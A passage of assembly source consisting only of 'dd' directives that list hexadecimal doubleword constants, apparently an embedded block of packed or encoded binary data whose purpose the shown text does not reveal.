2BC400BDh, 0E5ED00A1h dd 0BB906651h, 0CE0FE123h, 0A3FA4D05h, 11705B43h, 22A06028h dd 0DBD8005Ah, 283A42BCh, 5001E9Fh, 633E7EC2h, 225DDEh dd 0D53C865Ch, 0B192767Fh, 0CE8830F5h, 5430B701h, 0B2529E04h dd 1E84FBE8h, 408F1BA7h, 0E90EA8E5h, 7500958Ah, 41C9E7EFh dd 0C6D8E8h, 0BDA2541Bh, 0C2394B20h, 8A771600h, 57D41893h dd 51E40A14h, 0FDF848Fh, 80BF477Ah, 0DC564B6Eh, 5300482Dh dd 0D0145806h, 3C4C11FAh, 8500AFD2h, 0AB696233h, 0F800E00Eh dd 6997B0Ch, 1E734580h, 804FA296h, 0D58323ADh, 3C00F77Dh dd 7F0DF3DAh, 464DE5Ah, 0E0BE5B81h, 45118353h, 0AEC35CC0h dd 0C1EE6800h, 0F3283E4Fh, 47D90169h, 1CE81D40h, 0A99FF472h dd 1419E91Eh, 699801C1h, 3F700CAAh, 0B5F00BDh, 94E38743h dd 0FA003B16h, 5649F668h, 3EAE78h, 0C9F9AC46h, 3FADF385h dd 5250071Ch, 759A8194h, 0FD60607h, 0C5007DE4h, 2CB2F2h dd 0EB9D51D2h, 587608B5h, 80F8373Eh, 5B75DC98h, 0AD3A6Ch dd 0DD11D0C9h, 598E64FAh, 77D97C00h, 0FCD57861h, 0DE5D16A8h dd 5298B0DBh, 0D02A2C03h, 0E8D90CCBh, 1F5A1659h, 0E449357Ch dd 52770734h, 0AD92C047h, 0AE00B643h, 0CE97E01Bh, 0FF9A507h dd 0DDC8BFF2h, 0EBA2F00h dd 0CD17CAF8h, 60017EEh, 0C8B3834h, 6A580F2Ch, 0A1201F41h dd 335CA0B0h, 0D59AE21Eh, 0F46CBFC0h, 3D42F0A5h, 0AF8181D0h dd 0A295C4E5h, 0E64DFCE0h, 0E4BE220Ch, 1302E2h, 0B5967023h dd 0D5F61149h, 6B283Dh, 6747C92Dh, 9F251FEh, 0DBD75315h dd 0BE406E0Fh, 0CD41CED6h, 66DAB212h, 0F551A400h, 8C196Ah dd 0A47C45DDh, 0C7DC313Ah, 394A0400h, 9BA877EBh, 1F6C00C6h dd 4C50E566h, 1200EF45h, 9125F35Ah, 325185h, 0BE56C070h dd 160503C6h, 0D967591Fh, 0DAA72680h, 3DB46D8Eh, 40801E25h dd 54BFE6FAh, 0E80AC3BDh, 88F0610Ch, 97E7300h, 0C0596B6Eh dd 0EC10ED10h, 923974C0h, 2CBF13D7h, 767D0040h, 87E95Bh dd 0F4FF63A5h, 98058988h, 6FD4D007h, 6BC4659Bh, 0C7EBBC0h dd 2AEA0114h, 0B7B4799Eh, 21F840B0h, 830019CAh, 0E861D35Ch dd 0C01B898Fh, 4A304D10h, 0E90E15E3h, 2C1F93EBh, 3A9D7869h dd 7F80C5BCh, 1C4026A2h, 6071652h, 814F25A7h, 40DBA8D2h dd 25E7BACh, 1BD1CFA1h, 0A840900Ch, 5D0EECCCh, 0A06B7793h dd 0A06854BEh, 0E4E200E9h, 8DCA5CCFh, 961372FFh, 745F9789h dd 0E63C1080h, 4C2D2421h, 74E4DDh, 382C19CEh, 70A94ED3h dd 1A809D60h, 0F2EA4h, 0AFCE68EDh, 1DFFD519h, 14E56A00h dd 1B8E66D1h, 9DF30051h, 8F49160Eh, 0C307481Ch, 76B96E7Fh dd 24C08EB5h, 1A6A71h, 0F735CE31h, 8DC155Bh, 7014520Fh dd 203258D4h, 2ABE0E3h, 0E260CB5Dh, 0D06888F2h, 71275E7h dd 0E500BD7Fh, 50B69E9Fh, 737E00BEh, 0FB5DE027h, 0F003098Eh dd 563C7B08h, 484FD0C4h, 0A6B700E6h, 8B9E0517h, 0DA0E1D74h dd 1260F139h, 32BF7C00h, 39DE16C3h, 8036F3E0h, 0C5E2D8F8h dd 17489B00h, 0BD3F75D5h, 0A9F630C6h, 221C5120h, 0D3A44E0h dd 0DB57806Dh, 37DD1AF1h, 0BF76768Ah, 2AB02640h, 702F45Ch dd 4FB4E775h, 1B5A8A70h, 0B548C1AAh, 70F81133h, 9B0231F2h dd 0A8EFB89Eh, 0E8BC603Fh, 1030F78h, 0AF646107h, 8E6887DAh dd 472D5E60h, 1248DD27h, 0AB320030h, 0DB8276C6h, 0C9E023h dd 0DD69AF14h, 1999116Dh, 0D0674924h, 0C73838A8h, 0D84D21h dd 0F5E92034h, 0B0E71028h, 63030034h, 1DB4407Fh, 0FFE01BC9h dd 8D463800h, 347A54FDh, 777E0064h, 0A87C61AAh, 0A112D020h dd 0C40180C3h, 6BC286A5h, 3F5569C0h, 7DF53271h, 224FC1Ch dd 2F52B9D2h, 4077102Ah, 88553Bh, 2ED0197Dh, 5197F59Ah dd 66261700h, 0DA4718E3h, 1F961D88h, 0BE820022h, 0DC63EB62h dd 606EBF07h, 7960BD47h, 72337431h, 1ED7930h, 0DFAE7105h dd 21EA93A7h, 0FB396057h, 67FE3500h, 7E22A1A9h, 1675C1h dd 0E0175FCBh, 0A31A62C9h, 2DE7DA2Eh, 1229823Ch, 0D0AEDB2Fh dd 0CBAF3CB8h, 0BCC1D106h, 0C048688Dh, 3DCC2CA5h, 0A0FE5B0Bh dd 24EA8224h, 0E3E737E1h, 1C8A8378h, 0C71298C0h, 0E22C6878h dd 0CB000624h, 0F5F1E10h, 78510048h, 19200866h, 4036D34h dd 0F19CF5C6h, 3CBAC015h, 1B7902B3h, 7FD323CBh, 1D6B8C40h dd 0B28B0500h, 2824E527h, 5E130346h, 5A2637DCh, 0A8087ABh dd 2B014C75h, 6BE0E110h, 0FCCD78Ah, 123B005Dh, 70920662h dd 0E400C519h, 0D0AE63D8h, 603FE97Eh, 69FBD0B1h, 1C050525h dd 3DE8676Ch, 7330C01h, 0F880FAE5h, 0D4D14F63h, 0A4012C61h dd 74A16421h, 90709819h, 0FB2500C7h, 128FC98Ch, 0CB07EE16h dd 6D8BE6AFh, 24CF2AC0h, 0D9E0FF4Eh, 0BEC10796h, 0C01AA0B6h dd 0AE3A917Dh, 0C70059B0h, 0F4E2DF55h, 0EAB72431h, 75FE0756h dd 2782F1DCh, 0D55E03B1h, 0FDE93FB8h, 0F85A8700h, 0C1F726E0h dd 64BC00E7h, 0B4E3BA5Bh, 1E00A452h, 84DEFF82h, 376CD8Eh dd 0D0F7B538h, 0CEC87A10h, 74004CECh, 23427F1Ah, 2E4EEFE6h dd 187C4879h, 55C3F871h, 0C7324B16h, 6DED2441h, 1041AE25h dd 9050F950h, 873DDh, 78316317h, 534E30B5h, 0BDD3A83Ah dd 29FA30DEh, 0A9AD7DFBh, 803047B0h, 60E848A2h, 43E2EA80h dd 730D6C65h, 42E30F81h, 961308Dh, 8CB06E39h, 887C6F87h dd 804C649Dh, 99C09379h, 3A0501E1h, 14ADDAEFh, 0D4B4481h dd 0FF4864h, 333734A2h, 0C20F92A0h, 50E95500h, 8B12C99Ah dd 0E4390049h, 1B68C890h, 0F9CEB345h, 70B2C0D5h, 3BA85D4Bh dd 0F8004CE4h, 1BECE815h, 4A18FBDFh, 5AC9DCA2h, 20D00A9h dd 0FEBDF214h, 4C03B15Dh, 3DAE651Dh, 0C9E8E1BAh, 0F550588Ah dd 3F17808Ch, 0DCAA19E2h, 6656A307h, 0E508D51h, 0C3DB76Ch dd 174C40D6h, 203C25C9h, 834B807Eh, 628B02AAh, 18CF266Dh dd 0E6EE00D0h, 0F4918E08h, 0F13C8774h, 582E0FBCh, 1C1BA324h dd 9118079Dh, 408D1F3Fh, 30F189F7h, 818FB53Eh, 0B62CCA71h dd 41BDBBF8h, 2767E186h, 303010BAh, 3955419Eh, 49C0289Bh dd 0E8CF0334h, 0E09985E4h, 3582580Dh, 3940089Ch, 33507186h dd 9930BD83h, 111B41EFh, 97518485h, 1BC3CA74h, 9AF88919h dd 60C535F0h, 72040F4h, 2E00FE3Ch, 79CE256Ah, 3BB6C2Ch dd 0D3866029h, 3DF34E1Ah, 1BE27806h, 3059EC4Dh, 0B0E91424h dd 750A9578h, 0E189456Fh, 7D1BC100h, 7760A0h, 126CA318h dd 92B88A39h, 6619F718h, 0DF9D8EC9h, 0AE6170B0h, 7F30284Fh dd 52CE211Bh, 0BE6F00E5h, 0CFDF9399h, 8C7F027Ah, 12BD9A1Ch dd 30C9BBD8h, 0BA99CBEBh, 275DF00h, 72E44D3Dh, 0E6F03300h dd 1F016378h, 0AD4C3327h, 0C0038688h, 0A4330897h, 0A1B0E28Bh dd 82308190h, 5CA65180h, 31A2DDA3h, 0C26336EEh, 8525A018h dd 12178040h, 2855222Ah, 312C937Eh, 65211624h, 0D04E8EEh dd 0BCE7CC3Eh, 848939ADh, 533FA1B8h, 20860092h, 0AB3480DAh dd 67921F00h, 0DE299B97h, 1162345Ah, 2C9C4514h, 62F45E9Dh dd 5275865Ch, 8CC32A10h, 6D952B00h, 0AAB155B3h, 9FCEEEAh dd 0E8E2129Dh, 49353020h, 42792FD9h, 7F301892h, 0A79649E7h dd 53161F27h, 4EA5474Ah, 0AE6D015Dh, 859443F1h, 1219280Ah dd 1BC1E892h, 99999A4Ah, 10E1E180h, 7C26C167h, 0BA0D01DDh dd 34C62B10h, 9815E0EDh, 31BB5807h, 9128E79Ah, 3241583h dd 14F902A8h, 4EB1E177h, 0F8DD0044h, 0CD4F2853h, 0A900FBAEh dd 1A207AB3h, 243A7157h, 803488B5h, 9234890Dh, 0E8EAA2EEh dd 0DCA48A7Ch, 0EC409DE6h, 161B1482h, 152240EDh, 85F0E538h dd 2E75C6A7h, 0AF57AC81h, 0FCAEC840h, 64C80034h, 0D576C211h dd 0ACA4B72Ah, 5F8AC924h, 0FC9D3E0Fh, 0F7188618h, 9AAD28F0h dd 0E6AE019Ch, 8ACA113Dh, 85F100BDh, 502F72C2h, 0A8E7181Fh dd 88969FF8h, 655C3AEh, 73D19010h, 22079704h, 0EC3CC9E6h dd 0CE064538h, 9F67E001h, 84303069h, 3FCEDE9h, 0DCB9CB24h dd 683E2E00h, 12056BCEh, 4593164Bh, 1D18C3D4h, 8B81E38h dd 183C1C19h, 0D0999C7Fh, 0F64909EFh, 3CB8F211h, 5F00D932h dd 598153B4h, 18C66h, 0DE3FC493h, 5851D827h, 713B8735h dd 0C04CD854h, 327A98D7h, 0C71C0486h, 894B8BD1h, 0C0502288h dd 0E0F1B74Fh, 25060075h, 0F926B51Dh, 4C0E0986h, 0F45535D1h dd 94071AB4h, 12E84C61h, 45AB8FAAh, 0C008AE78h, 6C2A518h dd 90F721C9h, 88E47F6Ch, 680026C9h, 4A8B61E2h, 3BF4BA6Bh dd 174124A3h, 3543A064h, 0A804362Fh, 39D81FAFh, 94C6951Eh dd 0E548CD00h, 19B1EB6h, 0D555371Eh, 4C10E740h, 2427A699h dd 885C1D46h, 358CE192h, 0A641C1h, 0AFED7B98h, 7ED9AB62h dd 571C9101h, 2E29054Ah dd 24151423h, 21009811h, 89F5966Ah, 3900E22Fh, 0B8B1F4BDh dd 0D0B3C58Ch, 0A9C0E460h, 0F1BD7B88h, 0B90A637Bh, 0C4A3D12Bh dd 0E9712228h, 4F64D212h, 0E7F4B030h, 5579140Eh, 0A91F587Fh dd 743141FEh, 0C0357D01h, 0BC071B11h, 0F13C7E07h, 643EEAC2h dd 8F8A40DCh, 0E8445C92h, 0D7FA0097h, 0E9E17E2Ah, 5002017h dd 0C7C64964h, 2C07A8DFh, 646427B4h, 8B1409Eh, 9155B01Eh dd 0E48408ACh, 0E9D0358Ch, 0E9890116h, 21F620B8h, 12D055AAh dd 0A38804F8h, 0C2B091F9h, 7218h, 0BF3DC3E2h, 68E7FD08h dd 915C6063h, 7C380099h, 46C18C92h, 0C09004AEh, 91D2DC5Eh dd 10851768h, 0BD7E197h, 30968D53h, 0F2AE5420h, 71C01722h dd 79C68EF1h, 18C900A0h, 0B6834854h, 7303CFA8h, 0AA594769h dd 0E116CB5Fh, 4C32BCB4h, 402C802Eh, 0CC8B29DBh, 0C1690101h dd 174E50ADh, 898D8C4Ch, 81E19F85h, 11105694h, 0AE0CE59Bh dd 12B9802Ah, 3E57DA48h, 76650045h, 0FB0B9222h, 527C021Bh dd 0AC13907Dh, 0D900A04Eh, 939D3649h, 770BCBB4h, 1F0113Ch dd 3D1922ECh, 0E100C6A9h, 7DB6EA07h, 60242DC9h, 9E888812h dd 1407A696h, 741AA094h, 78B0B039h, 98E6ECC2h, 5DBE8B00h dd 0EB2D2838h, 97DB1240h, 0CFC848DAh, 85E3C8Ch, 2509890h dd 1178AD34h, 0CCCE9199h, 98D44D22h, 0C0E845A8h, 0B11C6DEEh dd 1340E7B4h, 343A46EBh, 13A5F6BCh, 8F91444h, 0AD848E44h dd 0F540EB29h, 0F6FA76ECh, 806A6C3Eh, 7EFFC3BEh, 120BD39Bh dd 304478ACh, 541BF130h, 1863901Dh, 7CA0B06Ah, 802DA52h dd 0AE9E3283h, 44CC647Eh, 95056FCBh, 948FFAA9h, 0E8D274D4h dd 23331142h, 7DCF00DCh, 39BAC512h, 7CF040h, 59FE9C6Bh dd 0B61BF8Dh, 746A0313h, 801A3048h, 0D411872Ah, 0E02C451h dd 0EA5DC1CBh, 3CE84EF6h, 9B001D86h, 74DC40E0h, 5300CDDFh dd 0E89CBB36h, 58C3FC8Bh, 2F34A48Ah, 324C4059h, 2C114DC6h dd 0D34F7200h, 0EF169B6Fh, 0A60107C0h, 0F47545CBh, 727CDC27h dd 0B7332A00h, 0E43C83E7h, 0B0FA0752h, 940768D0h, 0C2EC8825h dd 0B19DCE00h, 0ACAB5A4Ch, 9AB1C9B0h, 0C9354C10h, 0A89EA8A8h dd 77311702h, 0E82F759Fh, 0C1CC1398h, 0E8BAF121h, 51BE210Eh dd 801B24C8h, 332DC169h, 11671B1h, 755B3A27h, 52C6636Ah dd 384486C4h, 5E92F8B1h, 0B52D7600h, 2FE5AE4h, 0E115B1EAh dd 0AC89AC8Ch, 4B427494h, 40703F2Eh, 0D87DABE3h, 6EF88100h dd 598B3E38h, 934C9184h, 1B4046B7h, 6C930843h, 0D3008511h dd 897FB1BDh, 0BE6145ACh, 0D5491BA0h, 2D24218Ch, 57006E71h dd 0DD6D3EB9h, 1A64ACh, 0B8C2D912h, 77FD27C9h, 22E65822h dd 8652994Bh, 374F2164h, 88B4EA10h, 0D8A6C599h, 0C09BF420h dd 0FFAB9A80h, 0E888BCA8h, 440920CAh, 4893A0B0h, 59223B00h dd 0EC2560DFh, 0A80D0478h, 48A7694Fh, 3AAC801Ah, 0C8ADD4E7h dd 0C3452A05h, 8C4859E8h, 5F9F80EDh, 0C981B4E0h, 601EAB00h dd 4759302h, 34454CBCh, 0A7CEE05Ch, 6686D40h, 8309571Eh dd 0F4F564AFh, 88382627h, 198B1702h, 3058100Ch, 271C09Fh dd 0C9DA7298h, 29AEC412h, 6458C490h, 39F41DECh, 769E0Fh dd 0D453CC85h, 0C4011703h, 30049C9Eh, 91F6C284h, 0F11C4EF8h dd 6712BB13h, 9C998021h, 8F2C0C2Dh, 661285D4h, 1CC423CEh dd 10194384h, 0A4394493h, 0DA8A88DEh, 3C682000h, 5793CF59h dd 0DCF209F8h, 3C405E16h, 5C0032F1h, 0D4090636h, 5DC05A1Bh dd 191410E6h, 0F184A09Bh, 161CB422h, 0B4C4A303h, 0F14FA4F8h dd 9CE91BE8h, 8386D18Bh, 2846703Ah, 0AE80760Bh, 605B8E3Eh dd 0DFFC4220h, 59B600F8h, 476D7F29h, 24A1CB18h, 12AE1093h dd 0CCC60E8Bh, 0E6DDBD88h, 19DC48B4h, 39E2F984h, 10808B48h dd 16FE718h, 170D5F03h, 60EB5E0Ch, 0A975F8A7h, 0F6368409h dd 4D989029h, 1DAF903Ch, 0C4A76070h, 0C00997BBh, 0C5650153h dd 3FE49A03h, 10E8949Dh, 849F81A9h, 549CBD99h, 1C7E00F4h dd 6D9BD5E5h, 421F184Eh, 0F944EB32h, 948252B4h, 1C5985h dd 0F371B9F1h, 431CCB6Eh, 50C19A37h, 0B79E8A3Dh, 0C9215022h dd 4CB9C43Dh, 22288137h, 1BC212ECh, 15102113h, 831842C4h dd 0CA457C21h, 0BFCF6E8h, 0B8EF58A7h, 3DE7B420h, 0A0A6BA0Dh dd 0A4A70400h, 0E477430Ch, 0D9F90084h, 69A07409h, 7B4854CAh dd 80A0496Ch, 6B84FB01h, 53740148h, 8FD41860h, 0E7F6C0BAh dd 1A1C1B25h, 3640D71Ch, 49D2A6D6h, 3C483h, 126ED0C1h dd 181B3B3Ch, 2A50249Ch, 3E0D000Eh, 7AD8B57Eh, 0D727DDFCh dd 0E6E492BAh, 0AA2800E4h, 0FBC5736Fh, 89072581h, 0F3DB6F0h dd 3CF215F4h, 419F42Dh, 3D98334Fh, 11234281h, 861FD82Bh dd 3544C464h, 3EE2DC88h, 1D39A34Dh, 0EE713C81h, 398D8C12h dd 2B2C4CF0h, 0E9811C08h, 3C66E851h, 12D28420h, 224786FEh dd 1C7B0DD4h, 0BE9EAE00h, 9C9B42CDh, 3349E04Ch, 0B6017011h dd 20AACF6h, 0D370BE61h, 61BC4E71h, 0C4C5AC10h, 0C105A626h dd 70D0A049h, 0EB4E8844h, 0C2B43053h, 0B81C72B2h, 823E6BCCh dd 76D963EAh, 4585A17h, 1DD859BCh, 487CE3ADh, 3D604134h dd 48C84CECh, 67E28280h, 30E674h, 772326B7h, 0F22F3FBEh dd 0DC725D0Ah, 4B1DCCB5h, 9B5EDF81h, 9048EC09h, 893C9411h dd 9C981DC2h, 5A869299h, 8464408Fh, 0A034FE7Ah, 0C8795F04h dd 24F4C76Bh, 0E1CD0EBCh, 0B96B1B4h, 3064BA86h, 0FCF1F3FEh dd 0D616240Dh, 54C88921h, 953CA022h, 753D09B8h, 0FC84C939h dd 0F99C8CEFh, 0B296AD00h, 99A67BCDh, 0D66109FAh, 0C70B1072h dd 10C6581Ah, 70097E7Ah, 0A41A22Eh, 0E84458CEh, 79182446h dd 0C7724D1Fh, 302B0E41h, 26D4E7AAh, 700327BDh, 8A0D1080h dd 760CB48Fh, 3919221Bh, 2FC900FAh, 69E94C49h, 809180BDh dd 50A76F02h, 2DC7045h, 70AB81E2h, 74C42FD3h, 0C21A1847h dd 14791074h, 42969288h, 97259B43h, 0BC112C83h, 1512045Eh dd 18001E93h, 4C57CC0h, 82C096ACh, 0DC4FB38Bh, 0E745CC66h dd 1607CC72h, 0F7ECBED0h, 9446292Dh, 894BC00h, 0A5A6643Ah dd 83B10045h, 0A08274B7h, 4313DD95h, 0CCD8544Dh, 0CFAE3CBFh dd 0DD1920B2h, 0FF677C20h, 9DED0F59h, 0C2E055D1h, 4AC3E714h dd 30E6B42Dh, 1350E1C4h, 5C67C7F0h, 0DCAF6D04h, 183F640h dd 3600E0A2h, 2A3CE41Ch, 96404C10h, 80430890h, 4A67E143h dd 427C340Eh, 83790ECCh, 8DA08C90h, 45E28A89h, 0C41E1090h dd 0C8B39313h, 3201AE06h, 7F3559EFh, 0F20049E2h, 6302F0DDh dd 0A33500F4h, 0C6B7CB1Ch, 2209DE7Eh, 22DFD369h, 821A0700h dd 2F951F30h, 5C86D49Dh, 0C8111064h, 0BC07E2F0h, 0B374D853h dd 1349C0B0h, 542350F2h, 181EF825h, 0F1B104BDh, 550C2A8h dd 0B1D4ED28h, 8BA848F8h, 12589130h, 10DC6AE8h, 25ED60A0h dd 0FEB4B08Ah, 48181F94h, 235F071Fh, 218951BCh, 1C281886h dd 80DB33C3h, 5910D4EEh, 230EED07h, 4175DD5Eh, 937D1625h dd 9F863041h, 35181822h, 0C54199CDh, 457EA800h, 576573FDh dd 44222742h, 2852B8A0h, 97541411h, 3716AB94h, 1C04749Bh dd 1B43EA96h, 9925EF4Dh, 7D6C2024h, 177EB84h, 323F0CFEh dd 0DC619F58h, 8C165F53h, 443526F6h, 4577CC8h, 3C5E6EF5h dd 0D73490D9h, 48B0F3A3h, 5FC0009Ch, 26C938h, 1C6E69B8h dd 6AEF3AC7h, 7065D908h, 0D0119Ch, 422412CDh, 328DE5D8h dd 0CA2188B7h, 4F96E2Ch dd 17D70761h, 0F8508934h, 2A01BB7Dh, 7F375E0Dh, 2C249106h dd 0CCB0D31Fh, 0C6881BC4h, 59810060h, 4E715B7Ah, 0F509AB4Ch dd 928D5A34h, 7D10D8A8h, 711A3A28h, 3B80472Eh, 8300AE44h dd 0F1D7502Ah, 499F3DA9h, 0C204584Ch, 0A68D1202h, 0CD1E00BCh dd 895DBF0Eh, 37053E16h, 9E5FD782h, 84C0A29Dh, 9C16CF5Ah dd 20202867h, 0C2907E1Ah, 9E647D80h, 10FFDCC4h, 0E64F1Fh dd 88587F3Dh, 0AE061E24h, 0BA9E7912h, 5805EC4Ah, 9F11BC24h dd 0AC9C487Ch, 83C8F0D0h, 363EBA80h, 0CD64F4Bh, 0D3EA1D79h dd 0E7449E39h, 8127BAEh, 9D161A2Ah, 85B9BC98h, 29BDEF9Eh dd 0E4D21106h, 3098C076h, 0B4B68D0Bh, 0C3FC6877h, 56DBEF37h dd 6500C4F9h, 9997C235h, 0E281A712h, 6180E06Ch, 20EFDBBAh dd 769A9303h, 0E2AB7598h, 0B8A5C0E0h, 0D114248Ah, 0A44C69F4h dd 1880B099h, 0D6EBEE58h, 6622032Ah, 0C5E2FA27h, 92FC1BCBh dd 59201F1Ch, 6DDAAE3h, 0EB99866Ch, 1E442144h, 0FD140136h dd 0CA193259h, 9BF43C40h, 0C67100CAh, 5516D657h, 18073677h dd 1AA05C13h, 4E801502h, 8276D0h, 5B2A46Eh, 2087F55Dh dd 0E10471EAh, 8BFB7A98h, 349A8605h, 89B800CCh, 12BAC036h dd 60D3CA4Ah, 1BC780F1h, 96049117h, 9C0C749Eh, 2C8702FCh dd 8896076Ch, 888F05ABh, 5490A3F4h, 4FEF6D04h, 0D4F2E852h dd 5276E00h, 60A41268h, 2DE22940h, 0B090F6CFh, 4E001E25h dd 3ED5FC02h, 12E8667h, 0B54183A9h, 7DBB0BF2h, 68904A14h dd 12E4810Dh, 22D68D46h, 4820801Ch, 1EB9A232h, 0C2F31155h dd 9B014E28h, 9D4DA070h, 3441C73Ch, 0AE5B1A30h, 0B28C2090h dd 57F4FCECh, 96EE1998h, 58B09852h, 310C5CD0h, 78609F4h dd 25804C38h, 463BC6BFh, 40DC4CA3h, 0B416A132h, 8B2402A6h dd 0E1808C2Eh, 0D0E41C87h, 0AB3E5927h, 0C9A5EB02h, 0C01DCB0Eh dd 13702A71h, 5721FE35h, 0BEE060C8h, 6B049873h, 78FB47E3h dd 0EAE55B80h, 6CC80EC0h, 0C9331EC3h, 0E471A064h, 1F88ACB6h dd 90AD17h, 9603CE4Eh, 0A177800Ah, 38F3E8DCh, 80C09135h dd 3BB86D04h, 0B40095FCh, 0ACFF3ECEh, 5D443E2h, 0E7B5CC53h dd 93E8C813h, 9A492284h, 0BC00B491h, 0BDDEDF08h, 2828928Bh dd 34808Ah, 5C5B8303h, 1D2EAFE1h, 0D93B5AF4h, 0D43481FCh dd 31662106h, 8C43DC33h, 2300773Fh, 5CB54054h, 8A026548h dd 0FBAB0EE4h, 95B4F2E2h, 4CCC4CA9h, 0DE796E00h, 95A8778Ch dd 0BDEB00C1h, 0A2AE6580h, 10A89D1h, 64395C14h, 53B420A5h dd 25CABA19h, 44E0ABC9h, 2AF8E894h, 831110FFh, 895B0417h dd 0C0EF3BCCh, 9BA28FE4h, 820DDA00h, 96495AA5h, 91744B94h dd 22CA99ECh, 0B81827CCh, 54981970h, 8A8710CBh, 19445CC4h dd 380F02EDh, 2AEE6927h, 0E411E0E9h, 0F324E2C4h, 26C0DCBCh dd 0F84DF262h, 32342ED4h, 84E549D0h, 0C3423F01h, 0F8480A59h dd 0AE92449Ch, 0E72D5016h, 733AE430h, 5E553B49h, 26A0C02Ah dd 0AF901011h, 0EDA1E01Bh, 0D20AF419h, 5A2D7102h, 0DBFD5708h dd 0A34300CCh, 9418A6Ah, 17007C72h, 601BEEC8h, 9799110Fh dd 9F016494h, 0EDA436Dh, 0EFE0CC4Ah, 270FE5Ch, 0A1A0D42Dh dd 0C853EB12h, 0A74AB01h, 0CCF2DDC9h, 0A5FB0008h, 1C51FC4Eh dd 404139D0h, 12A0BC70h, 64D8C287h, 2B1C8930h, 7541DC60h dd 0DFFEFAh, 0DE3A6CCFh, 79E8E221h, 0B08AA207h, 56B4758Fh dd 1A0184B9h, 842FCF64h, 9B4669Fh, 0E434958Ch, 84191098h dd 0A6D7138Eh, 4C6CD004h, 68BA8A8h, 9E035496h, 0E2D5F8D4h dd 0E61D884Ch, 0C83905B9h, 8CAC8F13h, 189B8568h, 0B599C980h dd 43D22BFh, 42726DBh, 0A24084F1h, 8473CA30h, 524099C4h dd 0EB2D6E41h, 0A419E107h, 0B504B90Fh, 174FAC90h, 8249773h dd 0D0D24093h, 4B2C14FDh, 1580093Dh, 40E63099h, 74F5248Ch dd 0CA85F20Bh, 596C098Bh, 882425E8h, 0CF04BC9Eh, 6C383F0h dd 70B94C19h, 8640F932h, 0E444186Eh, 0D9381FDAh, 109700BDh dd 5A9C13C1h, 9189E113h, 800388A3h, 7CFE0FD8h, 14059025h dd 5A6D00F8h, 0AEC68F4Ch, 2408F63Dh, 5EDFACFh, 0D9921419h dd 94032A64h, 9A250D89h, 0FBE8h, 8F3D560Ch, 0D60030D2h dd 9EC1937Bh, 79AF46B6h, 874312FAh, 4F2C4125h, 628EE714h dd 76609868h, 68A7979Ah, 0D8CCF9C2h, 21408C94h, 5F397FFh dd 11873B94h, 80D049D7h, 0DA12E8C8h, 342E2902h, 4C87C145h dd 4A2200CCh, 0D9C8287Ah, 0CD00B3F1h, 6CC5A346h, 1370F77Dh dd 0CC8D89A8h, 6B009460h, 3272359Dh, 2A0B0FBh, 0F9B97FE5h dd 0CC719266h, 0BD4F3181h, 80052EDEh, 0D9357D20h, 25B04213h dd 0FCA328B4h, 3C8403AAh, 0EC499D46h, 3E6094E0h, 2F702309h dd 75E85A7Fh, 0D601007Ah, 613C5703h, 54B4F3D4h, 289469h dd 20E64B2Dh, 0DAC33C85h, 0BAD5CF00h, 7827D4CEh, 882E1DA1h dd 346C2543h, 0A0F87C00h, 78C41FB9h, 0DA413CFAh, 40E823ACh dd 0E849825Eh, 0EFAA9404h, 504863Fh, 27932215h, 703EB0BDh dd 841557F3h, 83F0E09Eh, 0AF53D050h, 5CAC1444h, 95418632h dd 73B20320h, 83100BFBh, 4498573Dh, 89111C2h, 9F4C1844h dd 372E759Ah, 0EA003E59h, 3EC2AE9Ah, 6BF89E24h, 5C2010C5h dd 0E3FCAF02h, 481D2384h, 991FC354h, 0ABD8006Ch, 0F5E28A11h dd 2AF9132Dh, 7762CC88h, 0A88CE344h, 3794119h, 2463D6FFh dd 68229372h, 0A61300EFh, 3F19E499h, 0DC0029BBh, 1D5FA3EBh dd 0E4C26BEFh, 1281CFFFh, 0A09A7DC1h, 0CC76E2BDh, 20991542h dd 5343D097h, 0CA19A71Ch, 10986FC5h, 30E2AC53h, 0AE411677h dd 8A8C4ADCh, 12A6607Ch, 0F200950h, 161B2E07h, 6385519Ch dd 0C2827930h, 42687104h, 19C0DE67h, 2B64EAB0h, 0C2219A29h dd 6D8DC174h, 6488D3BCh, 44F802EBh, 8FFE350Ah, 0F0564541h dd 0B3076501h, 0FD248C5Eh, 1916A87Ah, 1A44E437h, 0E300448Bh dd 23340CC7h, 5CA39D06h, 0A742DE99h, 91489CB0h, 0C6E100A0h dd 67112D1Eh, 1802A4A4h, 0D4A1308Fh, 0E0F45649h, 0A3385FFAh dd 60751774h, 1CEE4305h, 40B38603h, 24F41D26h, 8A051B0h dd 2D59041Ah, 0B56AC07Eh, 89E82878h, 96C6011h, 6D3307F3h dd 9398D526h, 47951446h, 0DD8A14h, 556B480Ch, 16FFCB03h dd 0F5670EAFh, 11192C02h, 58E5BCh, 0D71B617Dh, 6039FD2Ch dd 851EF9AEh, 5D82654Dh, 70B62011h, 2C1997E4h, 7A84C16h dd 27814A84h, 9D9EC40Ch, 0FC0C44BCh, 8878520h, 98ADC428h dd 80852C18h, 75D84058h, 0DB03B905h, 0A26F02BDh, 4406B225h dd 29C76F78h, 6C7F60C0h, 23007EF0h, 571B8B99h, 3DCB6431h dd 0BF2ABEEDh, 841EF8C8h, 0C9582CEBh, 743CA690h, 0EC9622C1h dd 69C83537h, 69BD7500h, 7BC6A043h, 77C100C9h, 202EBB19h dd 60B9797Fh, 2CACE280h, 2BCD797h, 0ADE68A4Fh, 0E0E1BAF2h dd 2CE33173h, 539E8990h, 0B13A80E4h, 0AA624EA0h, 0B0D3Ah dd 5FAD2F9Dh, 9EF7D6C6h, 0B0594770h, 8F96BF25h, 0CE4200BEh dd 80207427h, 651C8360h, 0BA03F8AAh, 0F45A1BE7h, 0C30804EAh dd 0F42AADE9h, 80095B4h, 7DD811B8h, 6518C296h, 30E2A936h dd 0B527BEB8h, 2F1D500h, 19B249F0h, 0F3E200FBh, 77F5EFE1h dd 80998092h, 403D8702h, 0E331C19Eh, 7D6E7E0h, 0A422FBEBh dd 0DF8EC005h, 0E49180BAh, 68281A00h, 32E46C4h, 0B3119C89h dd 902480C1h, 1F64A874h, 0D0BC9D20h, 0E415133Eh, 98D44DE0h dd 850050A3h, 0D1E2BDC9h dd 0BB03FA4Fh, 795918A0h, 1D582F7Ch, 0E5F0018h, 30CC2D41h dd 7F10067h, 21E3A204h, 50008419h, 2FF97B1Bh, 951F129Ch dd 9084F829h, 2096221Ah, 6B329DBCh, 8BD4901Fh, 0A2658D09h dd 0E0985A00h, 67250A28h, 5FD83918h, 40728340h, 350115B2h dd 1BBD5489h, 8C2D29B3h, 6A1FDF01h, 418D38D3h, 0FAF522ECh dd 17D6C048h, 80BB8312h, 9CA08CD4h, 